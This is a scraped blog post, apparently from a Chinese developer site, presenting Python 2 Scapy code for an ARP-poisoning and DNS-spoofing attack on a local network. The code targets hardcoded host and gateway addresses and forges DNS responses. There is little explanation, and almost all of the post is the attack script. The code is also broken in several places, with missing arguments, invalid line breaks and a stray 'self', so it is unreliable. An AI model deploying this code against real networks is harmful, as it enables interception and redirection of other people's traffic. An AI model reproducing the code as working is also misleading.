zoukankan      html  css  js  c++  java
  • python dns欺骗

    ''''
    from scapy.all import *
    from threading import Thread
    def DNShijacking():
        global wg
        wg=raw_input('Please enter your IP:')
        print '[+]dns spoof!'
        nwdf=dns_spoof(joker='{}'.format(wg),match={None:None})
        print nwdf.show()
    DNShijacking()
    
    
    def make_reply(ip, req):
        ip = req.getlayer(IP)
        dns = req.getlayer(DNS)
        resp = IP(dst=wg, src=ip.dst) / UDP(dport=ip.sport, sport=ip.dport)
        rdata = self.match.get(dns.qd.qna.me, self.joker)
        resp /= DNS(id=dns.id, qr=1, qd=dns.qd,
                    an=DNSRR(rrname=dns.qd.qname, ttl=10, rdata=rdata))
        return resp
    make_reply()
    '''
    from scapy.all import *
    from threading import Thread
    import os
    import sys
    #Fast discovery host
    def kuaisu():
        print '[*]Find the LAN host .'
        ans,unas=sr(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.3.0/24"),timeout=5,retry=3)
        for s,r in ans:
            return r[Ether].src
    
    #ARP poisoning
    def poison():
        send(ARP(op=2,pdst="192.168.3.41",psrc="192.168.3.1",hwdst="3C:46:D8:2A:CF:0B"))
        send(ARP(op=2,pdst="192.168.3.1",psrc="192.168.3.41",hwdst="00:0c:29:c7:e7:d8"))
    
    def restore():
        send(ARP(op=2,pdst="192.168.3.1",psrc="192.168.3.41",hwdst="00:0c:29:c7:e7:d8"))
        send(ARP(op=2,pdst="192.168.3.41",psrc="192.168.3.1",hwdst="3C:46:D8:2A:CF:0B"))
        sys.exit()
    
    def cb(payload):
        data = payload.get_data()
        pkt = IP(data)
        localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
    
    
    def jiec(payload, pkt, rIP):
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/
                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/
                      DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
                      an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=rIP))
        payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
        print '[+] Sent spoofed packet for %s' % pkt[DNSQR].qname[:-1]
    
    kuaisu()
    poison()
    restore()
    cb()
    jiec()
    

      

  • 相关阅读:
    博客美化
    hello world
    mysql数据库索引
    Golang:线程 和 协程 的区别
    计算机网络详解
    Redis持久化机制
    nginx 详解
    多级缓存的分层架构
    svn忽略文件不提交至服务器的方法
    Mysql 事务及其原理
  • 原文地址:https://www.cnblogs.com/haq5201314/p/8686644.html
Copyright © 2011-2022 走看看